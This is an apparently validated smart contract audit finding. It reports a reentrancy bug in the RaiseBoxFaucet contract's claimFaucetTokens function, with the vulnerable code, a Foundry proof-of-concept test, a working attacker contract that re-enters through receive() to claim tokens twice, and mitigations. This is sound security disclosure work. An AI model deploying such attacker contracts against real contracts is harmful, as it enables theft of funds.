Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Reentrancy attack in `RaiseBoxFaucet::claimFaucetTokens` function allows attacker to claim faucet tokens twice.

Root + Impact

Description

  • Normally, the RaiseBoxFaucet::claimFaucetTokens function allows users to claim Sepolia ETH and faucet tokens every 3-day cooldown period, updating RaiseBoxFaucet::lastClaimTime and RaiseBoxFaucet::dailyClaimCount to prevent multiple claims.

  • However, due to an external call made before state updates, through this external call a malicious contract can exploit reentrancy via its receive() function to call RaiseBoxFaucet::claimFaucetTokens again within the same transaction, resulting in claiming faucet tokens twice in a single call.

//External call
@> (bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
// Effects
//State updation
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
// Interactions
//Faucet token transfer
@> _transfer(address(this), faucetClaimer, faucetDrip);

Risk

Likelihood:

  • This issue happens when the claimer(attacker) uses a smart contract instead of an EOA. Inside the smart contract, there is a receive() function, that triggers the reentrancy exploit.

  • The reentrancy is triggered during SepETH transfer, which happens before RaiseBoxFaucet::lastClaimTime and RaiseBoxFaucet::dailyClaimCount updation, allowing the attacker contract to call RaiseBoxFaucet::claimFaucetTokens function again within the same transaction.

Impact:

  • Because of this exploit, attacker can claim faucet tokens twice which sums to 2000 tokens instead of claiming once(sums to 1000 tokens).

Proof of Concept

Explanation

  1. The attacker sets up a contract ReentrancyAttack which contains a receive() function with the malicious condition if (raiseBoxFaucet.getBalance(address(this)) < raiseBoxFaucet.getFaucetTotalSupply()) which is used to re-enter and call RaiseBoxFaucet::claimFaucetTokens function during the SepETH token transaction.

  2. The ReentrancyAttack contract is initialized in RaiseBoxFaucet.t.sol::test_CanFaucetTokenClaimTwiceInSingleTransaction function, after that the attacker calls RaiseBoxFaucet::claimFaucetTokens from their attacker contract and SepETH token is transferred to ReentrancyAttack::receive function.

  3. Inside the receive() function, a reentrancy exploit occurs, causing the faucet token to be transferred twice: once from the original call transaction and again from the reentrancy call transaction, resulting in receiving double the intended amount.

Intended Faucet token to claim: 1000000000000000000000 (1000 tokens)

Actual Faucet token claimed due to reentrancy: 2000000000000000000000 (2000 tokens)

//Reentrancy Attack POC
function test_CanFaucetTokenClaimTwiceInSingleTransaction() public {
//Initialize attacker contract and attacker address
ReentrancyAttack attackerContract = new ReentrancyAttack(
payable(raiseBoxFaucetContractAddress)
);
address attacker = makeAddr("attacker");
//Initial balance before attack
uint256 beforeBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(beforeBalance, 0);
console.log("Attacker Faucet Token Balance:", beforeBalance);
//Executing attack
vm.prank(attacker);
attackerContract.callRaiseBox();
//Final balance after attack
uint256 afterBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(afterBalance, raiseBoxFaucet.faucetDrip() * 2);
console.log("Attacker Faucet Token Balance after claim:", afterBalance);
}
//Attacker Contract
contract ReentrancyAttack {
RaiseBoxFaucet public raiseBoxFaucet;
constructor(address payable raiseBoxFaucetAddress) {
raiseBoxFaucet = RaiseBoxFaucet(raiseBoxFaucetAddress);
}
function callRaiseBox() public {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
//Trigger to reentrancy attack
if (
raiseBoxFaucet.getBalance(address(this)) <
raiseBoxFaucet.getFaucetTotalSupply()
) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}

Recommended Mitigation

  1. Use OpenZeppelin ReentrancyGuard

    • Import ReentrancyGuard and mark claimFaucetTokens with the nonReentrant modifier. This prevents any reentrant calls to the function within the same transaction.

  2. Update all state variables before external call.

    • Move the state updates lastClaimTime and dailyClaimCount before the SepETH transfer to prevent reentrancy exploiting the old state:

hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
(bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
Updates

Lead Judging Commences

inallhonesty Lead Judge 17 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.